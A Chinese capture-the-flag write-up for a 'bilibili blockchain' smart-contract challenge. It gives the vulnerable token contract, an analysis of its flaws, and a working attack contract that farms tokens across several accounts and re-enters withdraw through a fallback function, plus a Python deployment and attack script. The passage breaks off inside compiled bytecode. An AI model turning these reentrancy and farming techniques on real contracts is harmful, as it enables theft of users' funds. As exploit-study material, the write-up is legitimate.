bilibili blockchain
@[toc]
源码
pragma solidity 0.8.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/utils/Context.sol";
struct Coupon {
uint loankey;
uint256 amount;
address buser;
bytes reason;
}
struct Signature {
uint8 v;
bytes32[2] rs;
}
struct SignCoupon {
Coupon coupon;
Signature signature;
}
contract MyToken is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => uint) public _ebalances;
mapping(address => uint) public ethbalances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint) public _profited;
mapping(address => uint) public _auth_one;
mapping(address => uint) public _authd;
mapping(address => uint) public _loand;
mapping(address => uint) public _flag;
mapping(address => uint) public _depositd;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address owner;
address backup;
uint secret;
uint tokenprice;
Coupon public c;
address public lala;
address public xixi;
//mid = bilibili uid
//b64email = base64(your email address)
//Don't leak your bilibili uid
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string mid, string b64email);
event changeprice(uint secret_);
constructor(string memory name_, string memory symbol_, uint secret_) {
_name = name_;
_symbol = symbol_;
owner = msg.sender;
backup = msg.sender;
tokenprice = 6;
secret = secret_;
_mint(owner, 2233102400);
}
modifier onlyowner() {
require(msg.sender == owner);
_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function deposit() public {
require(_depositd[msg.sender] == 0, "you can only deposit once");
_depositd[msg.sender] = 1;
ethbalances[msg.sender] += 1;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
function setbackup() public onlyowner {
owner = backup;
}
function ownerbackdoor() public {
require(msg.sender == owner);
_mint(owner, 1000);
}
function auth1(uint pass_) public {
require(pass_ == secret, "auth fail");
require(_authd[msg.sender] == 0, "already authd");
_auth_one[msg.sender] += 1;
_authd[msg.sender] += 1;
}
function auth2(uint pass_) public {
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
require(pass == pass_, "password error, auth fail");
require(_auth_one[msg.sender] == 1, "need pre auth");
require(_authd[msg.sender] == 1, "already authd");
_authd[msg.sender] += 1;
}
function payforflag(string memory mid, string memory b64email) public {
require(_flag[msg.sender] == 2);
emit sendflag(mid, b64email);
}
function flashloan(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 0, "loan key error");
require(msg.sender == address(this), "hacker get out");
Coupon memory coupon = scoupon.coupon;
Signature memory sig = scoupon.signature;
c=coupon;
require(_authd[scoupon.coupon.buser] == 2, "need pre auth");
require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");
require(scoupon.coupon.amount <= 300, "loan amount error");
_loand[scoupon.coupon.buser] = 1;
_ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;
}
function profit() public {
require(_profited[msg.sender] == 0);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, 1);
}
function borrow(uint amount) public {
require(amount == 1);
require(_profited[msg.sender] <= 1);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, amount);
}
function buy(uint amount) public {
require(amount <= 300, "max buy count is 300");
uint price;
uint ethmount = _ebalances[msg.sender];
if (ethmount < 10) {
price = 1000000;
} else if (ethmount >= 10 && ethmount <= 233) {
price = 10000;
} else {
price = 1;
}
uint payment = amount * price;
require(payment <= ethmount);
_ebalances[msg.sender] -= payment;
_transfer(owner, msg.sender, amount);
}
function sale(uint amount) public {
require(_balances[msg.sender] >= amount, "fail to sale");
uint earn = amount * tokenprice;
_transfer(msg.sender, owner, amount);
_ebalances[msg.sender] += earn;
}
function withdraw() public {
require(ethbalances[msg.sender] >= 1);
require(_ebalances[msg.sender] >= 1812);
payable(msg.sender).call{value:100000000000000000 wei}("");
_ebalances[msg.sender] = 0;
_flag[msg.sender] += 1;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
// debug param secret
function get_secret() public view returns (uint) {
require(msg.sender == owner);
return secret;
}
// debug param tokenprice
function get_price() public view returns (uint) {
return tokenprice;
}
// test need to be delete
function testborrowtwice(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 2233);
MyToken(this).flashloan(scoupon);
}
// test need to be delete
function set_secret(uint secret_) public onlyowner {
secret = secret_;
emit changeprice(secret_);
}
}
合约最后需要使用ether,所以还得转入ether。利用selfdestruct。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
contract selftode {
constructor() public payable {
}
function tran(address to) public payable {
address payable addr = payable(address(to));
selfdestruct(addr);
}
}
分析
感觉很多函数是迷惑人的,像flashloan或者auth等。考了一些传统漏洞,套了层代币感觉也没用上。
首先看最终触发flag的条件,需要满足_flag[msg.sender] == 2和

寻找_flag在哪里被设置,只有一个地方设置了就是withdraw。withdraw很明显本地只想让你调用一次,这样_flag[msg.sender]永远只能是1。但是这里很容易发现可以进行重入攻击,因为使用了call函数,在攻击合约上写个回调函数再次调用即可。

然后就需要满足_ebalances[msg.sender] >= 1812和ethbalances[msg.sender] >= 1就行。
首先对于ethbalances可以直接调用deposit即可

然后再来看这个_ebalances变量,它出现的地方较多。最开始想利用flashloan但后来发现需要合约本身调用,

虽然出现了一个testborrowtwice可以让合约本身去调用,但是scoupon.coupon.loankey又不能设置为0了,所以最终放弃这个函数

后面发现sale这里可以用_balances买_ebalances的值,那就得先想办法弄_balances了。

最终发现一个薅羊毛的攻击点,这两个函数很明显可以进行薅羊毛攻击,一个账户能薅2个balances。 这样的话就能完成攻击链了。

最终做法
- 部署多个攻击合约薅羊毛,然后全部转账到一个攻击合约中
- 用获得的
_balances去sale_ebalances - 最后利用调用
withdraw重入攻击即可
攻击
攻击合约
// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.8.12;
import "./ctf.sol";
contract attack {
MyToken mytoken;
uint status = 0;
event f(address);
function setMyToken(address myto) public{
mytoken = MyToken(myto);
}
function makeauth1(uint pass_) public {
mytoken.auth1(pass_);
}
function makeauth2() public {
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
mytoken.auth2(pass);
// return pass;
}
function airdopHunting() public {
mytoken.profit();
mytoken.borrow(1);
}
function transf(address to,uint amount) public{
mytoken.transfer(to, amount);
}
function makeflashloan(uint8 v, bytes32 r, bytes32 s) public{
SignCoupon memory scoupon;
scoupon.coupon.loankey=0;
scoupon.coupon.amount=300;
scoupon.coupon.buser=address(this);
scoupon.coupon.reason="just hack";
scoupon.signature.v=v;
scoupon.signature.rs[0]=r;
scoupon.signature.rs[1]=s;
mytoken.flashloan{gas:200000}(scoupon);
// ctfMarket.purchaseWithCoupon{gas:200000}(scoupon);
}
function makedeposit() public {
mytoken.deposit();
}
function makewithdraw() public{
mytoken.withdraw();
}
function get_ebalances() public{
mytoken.sale(302);
}
function getFlag() public {
mytoken.payforflag("1","already getflag!");
}
fallback() external payable{
emit f(msg.sender);
if (status < 1 ){
mytoken.withdraw();
status += 1;
}
}
}
一键部署和攻击脚本
```python
import solcx
from Crypto.Util.number import bytes_to_long
from eth_abi import encode_abi
from solcx import compile_files
from web3 import Web3,HTTPProvider
from hexbytes import *
import time
def bytesTohex(data):
# return hex(bytes_to_long(data)).rjust(66,'0')
return hex(bytes_to_long(data))
def generate_tx(chainID, to, data, value):
# print(web3.eth.gasPrice)
# print(web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)))
txn = {
'chainId': chainID,
'from': Web3.toChecksumAddress(account_address),
'to': to,
'gasPrice': web3.eth.gasPrice ,
'gas': 672197400,
'nonce': web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)) ,
'value': Web3.toWei(value, 'ether'),
'data': data,
}
# print(txn)
return txn
def sign_and_send(txn):
signed_txn = web3.eth.account.signTransaction(txn, private_key)
txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = web3.eth.waitForTransactionReceipt(txn_hash)
# print("txn_hash=", txn_hash)
return txn_receipt
def deploy_ctf():
compiled_sol = compile_files(["ctf.sol"],output_values=["abi", "bin"],solc_version="0.8.12")
data = compiled_sol['ctf.sol:MyToken']['bin']
# print(data)
data = '0x60806040523480156200001157600080fd5b50604051620045443803806200454483398181016040528101906200003791906200053b565b82600b90805190602001906200004f929190620002b3565b5081600c908051906020019062000068929190620002b3565b5033600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660108190555080600f8190555062000132600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1663851a70406200013b60201b60201c565b50505062000777565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620001ae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001a59062000636565b60405180910390fd5b620001c260008383620002a960201b60201c565b80600a6000828254620001d6919062000687565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002899190620006f5565b60405180910390a3620002a560008383620002ae60201b60201c565b5050565b505050565b505050565b828054620002c19062000741565b90600052602060002090601f016020900481019282620002e5576000855562000331565b82601f106200030057805160ff191683800117855562000331565b8280016001018555821562000331579182015b828111156200033057825182559160200191906001019062000313565b5b50905062000340919062000344565b5090565b5b808211156200035f57600081600090555060010162000345565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620003cc8262000381565b810181811067ffffffffffffffff82111715620003ee57620003ed62000392565b5b80604052505050565b60006200040362000363565b9050620004118282620003c1565b919050565b600067ffffffffffffffff82111562000434576200043362000392565b5b6200043f8262000381565b9050602081019050919050565b60005b838110156200046c5780820151818401526020810190506200044f565b838111156200047c576000848401525b50505050565b600062000499620004938462000416565b620003f7565b905082815260208101848484011115620004b857620004b76200037c565b5b620004c58482856200044c565b509392505050565b600082601f830112620004e557620004e462000377565b5b8151620004f784826020860162000482565b91505092915050565b6000819050919050565b620005158162000500565b81146200052157600080fd5b50565b60008151905062000535816200050a565b92915050565b6000806000606084860312156200055757620005566200036d565b5b600084015167ffffffffffffffff81111562000578576200057762000372565b5b6200058686828701620004cd565b935050602084015167ffffffffffffffff811115620005aa57620005a962000372565b5b620005b886828701620004cd565b9250506040620005cb8682870162000524565b9150509250925092565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200061e601f83620005d5565b91506200062b82620005e6565b602082019050919050565b6000602082019050818103600083015262000651816200060f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620006948262000500565b9150620006a18362000500565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620006d957620006d862000658565b5b828201905092915050565b620006ef8162000500565b82525050565b60006020820190506200070c6000830184620006e4565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200075a57607f821691505b6020821081141562000771576200077062000712565b5b50919050565b613dbd80620007876000396000f3fe608060405234801561001057600080fd5b50600436106102485760003560e01c806370a082311161013b578063ab0cc77b116100b8578063c5ebeaec1161007c578063c5ebeaec1461071a578063d0e30db014610736578063d96a094a14610740578063db50be821461075c578063dd62ed3e1461077a57610248565b8063ab0cc77b1461065f578063ad7a04c014610669578063b2adf8a114610699578063c19263e7146106c9578063c3da42b8146106f957610248565b806395d89b41116100ff57806395d89b411461059557806396032702146105b35780639d44988a146105cf578063a457c2d7146105ff578063a9059cbb1461062f57610248565b806370a08231146104df5780638c0320de1461050f5780638c50c9d11461052b5780638e2a219e146105495780638f9889461461056557610248565b80632ad044b9116101c9578063453cb2e61161018d578063453cb2e61461042757806348e26bfe1461045757806359c32e401461048757806366d16cc3146104a55780636ebcf607146104af57610248565b80632ad044b9146103a9578063302c0dc7146103b3578063313ce567146103cf57806339509351146103ed5780633ccfd60b1461041d57610248565b806311f37ceb1161021057806311f37ceb1461030357806312065fe01461032157806318160ddd1461033f578063195076ec1461035d57806323b872dd1461037957610248565b806305aad32d1461024d57806306fdde0314610269578063095ea7b3146102875780630bb1e8a0146102b75780630dd2f134146102e7575b600080fd5b610267600480360381019061026291906126c7565b6107aa565b005b610271610921565b60405161027e919061278d565b60405180910390f35b6102a1600480360381019061029c919061280d565b6109b3565b6040516102ae9190612868565b60405180910390f35b6102d160048036038101906102cc9190612883565b6109d6565b6040516102de91906128bf565b60405180910390f35b61030160048036038101906102fc91906128fe565b6109ee565b005b61030b610a7d565b60405161031891906128bf565b60405180910390f35b610329610a87565b60405161033691906128bf565b60405180910390f35b610347610a8f565b60405161035491906128bf565b60405180910390f35b610377600480360381019061037291906126c7565b610a99565b005b610393600480360381019061038e9190612947565b610c77565b6040516103a09190612868565b60405180910390f35b6103b1610d01565b005b6103cd60048036038101906103c891906128fe565b610d8b565b005b6103d7611195565b6040516103e491906129b6565b60405180910390f35b6104076004803603810190610402919061280d565b61119e565b6040516104149190612868565b60405180910390f35b610425611230565b005b610441600480360381019061043c9190612883565b6113da565b60405161044e91906128bf565b60405180910390f35b610471600480360381019061046c9190612883565b6113f2565b60405161047e91906128bf565b60405180910390f35b61048f61140a565b60405161049c91906128bf565b60405180910390f35b6104ad61146e565b005b6104c960048036038101906104c49190612883565b611541565b6040516104d691906128bf565b60405180910390f35b6104f960048036038101906104f49190612883565b611559565b60405161050691906128bf565b60405180910390f35b61052960048036038101906105249190612b06565b6115a1565b005b61053361162a565b6040516105409190612b8d565b60405180910390f35b610563600480360381019061055e91906126c7565b611650565b005b61057f600480360381019061057a9190612883565b6116eb565b60405161058c91906128bf565b60405180910390f35b61059d611703565b6040516105aa919061278d565b60405180910390f35b6105cd60048036038101906105c891906126c7565b611795565b005b6105e960048036038101906105e49190612883565b6118af565b6040516105f691906128bf565b60405180910390f35b6106196004803603810190610614919061280d565b6118c7565b6040516106269190612868565b60405180910390f35b6106496004803603810190610644919061280d565b611999565b6040516106569190612868565b60405180910390f35b6106676119bc565b005b610683600480360381019061067e9190612883565b611a7b565b60405161069091906128bf565b60405180910390f35b6106b360048036038101906106ae9190612883565b611a93565b6040516106c091906128bf565b60405180910390f35b6106e360048036038101906106de9190612883565b611aab565b6040516106f091906128bf565b60405180910390f35b610701611ac3565b6040516107119493929190612bfd565b60405180910390f35b610734600480360381019061072f91906126c7565b611b89565b005b61073e611c6a565b005b61075a600480360381019061075591906126c7565b611d8a565b005b610764611ef5565b6040516107719190612b8d565b60405180910390f35b610794600480360381019061078f9190612c49565b611f1b565b6040516107a191906128bf565b60405180910390f35b600f5481146107ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e590612cd5565b60405180910390fd5b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610870576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086790612d41565b60405180910390fd5b6001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108c09190612d90565b925050819055506001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109179190612d90565b9250508190555050565b6060600b805461093090612e15565b80601f016020809104026020016040519081016040528092919081815260200182805461095c90612e15565b80156109a95780601f1061097e576101008083540402835291602001916109a9565b820191906000526020600020905b81548152906001019060200180831161098c57829003601f168201915b5050505050905090565b6000806109be611fa2565b90506109cb818585611faa565b600191505092915050565b60076020528060005260406000206000915090505481565b6108b9818060000190610a019190612e4c565b6000013514610a0f57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1663302c0dc7826040518263ffffffff1660e01b8152600401610a489190613121565b600060405180830381600087803b158015610a6257600080fd5b505af1158015610a76573d6000803e3d6000fd5b5050505050565b6000601054905090565b600047905090565b6000600a54905090565b6000600143610aa89190613143565b4042604051602001610abb9291906131c3565b6040516020818303038152906040528051906020012060001c9050818114610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f9061323b565b60405180910390fd5b6001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610b9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b91906132a7565b60405180910390fd5b6001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1390612d41565b60405180910390fd5b6001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c6c9190612d90565b925050819055505050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cd357600080fd5b6000610cdd611fa2565b9050610cea858285612175565b610cf5858585612201565b60019150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d5b57600080fd5b610d89600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e8612479565b565b6000818060000190610d9d9190612e4c565b6000013514610de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd890613313565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e469061337f565b60405180910390fd5b6000818060000190610e619190612e4c565b610e6a906134de565b9050600082602001803603810190610e829190613623565b9050816011600082015181600001556020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506060820151816003019080519060200190610efe9291906125da565b50905050600260066000858060000190610f189190612e4c565b6040016020810190610f2a9190612883565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610fa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9c906132a7565b60405180910390fd5b600060076000858060000190610fbb9190612e4c565b6040016020810190610fcd9190612883565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611048576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103f9061369c565b60405180910390fd5b61012c83806000019061105b9190612e4c565b6020013511156110a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109790613708565b60405180910390fd5b6001600760008580600001906110b69190612e4c565b60400160208101906110c89190612883565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508280600001906111169190612e4c565b602001356001600085806000019061112e9190612e4c565b60400160208101906111409190612883565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111899190612d90565b92505081905550505050565b60006012905090565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111fa57600080fd5b6000611204611fa2565b90506112258185856112168589611f1b565b6112209190612d90565b611faa565b600191505092915050565b6001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561127d57600080fd5b610714600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156112cb57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff1667016345785d8a00006040516112f790613759565b60006040518083038185875af1925050503d8060008114611334576040519150601f19603f3d011682016040523d82523d6000602084013e611339565b606091505b5050506000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113d19190612d90565b92505081905550565b60016020528060005260406000206000915090505481565b60086020528060005260406000206000915090505481565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461146657600080fd5b600f54905090565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146114ba57600080fd5b6001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461150a9190612d90565b9250508190555061153f600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336001612201565b565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6002600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146115ed57600080fd5b7f6335b7f9c4dff99c3a870eaf18b802774df3aba4e21b72549f3a03b6bc974c90828260405161161e92919061376e565b60405180910390a15050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116aa57600080fd5b80600f819055507f9e768e86781e8c9d9c65dac4542aa33ae66f4cee72a860d9bb6de71530bc8b6b816040516116e091906128bf565b60405180910390a150565b60096020528060005260406000206000915090505481565b6060600c805461171290612e15565b80601f016020809104026020016040519081016040528092919081815260200182805461173e90612e15565b801561178b5780601f106117605761010080835404028352916020019161178b565b820191906000526020600020905b81548152906001019060200180831161176e57829003601f168201915b5050505050905090565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180d906137f1565b60405180910390fd5b6000601054826118269190613811565b905061185533600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612201565b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118a49190612d90565b925050819055505050565b60066020528060005260406000206000915090505481565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461192357600080fd5b600061192d611fa2565b9050600061193b8286611f1b565b905083811015611980576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611977906138dd565b60405180910390fd5b61198d8286868403611faa565b60019250505092915050565b6000806119a4611fa2565b90506119b1818585612201565b600191505092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a1657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60026020528060005260406000206000915090505481565b60046020528060005260406000206000915090505481565b60056020528060005260406000206000915090505481565b60118060000154908060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806003018054611b0690612e15565b80601f0160208091040260200160405190810160405280929190818152602001828054611b3290612e15565b8015611b7f5780601f10611b5457610100808354040283529160200191611b7f565b820191906000526020600020905b815481529060010190602001808311611b6257829003601f168201915b5050505050905084565b60018114611b9657600080fd5b6001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611be357600080fd5b6001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c339190612d90565b92505081905550611c67600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383612201565b50565b6000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce390613949565b60405180910390fd5b6001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d819190612d90565b92505081905550565b61012c811115611dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc6906139b5565b60405180910390fd5b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600a811015611e2857620f42409150611e4f565b600a8110158015611e3a575060e98111155b15611e49576127109150611e4e565b600191505b5b60008284611e5d9190613811565b905081811115611e6c57600080fd5b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ebb9190613143565b92505081905550611eef600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163386612201565b50505050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561201a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201190613a47565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561208a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208190613ad9565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260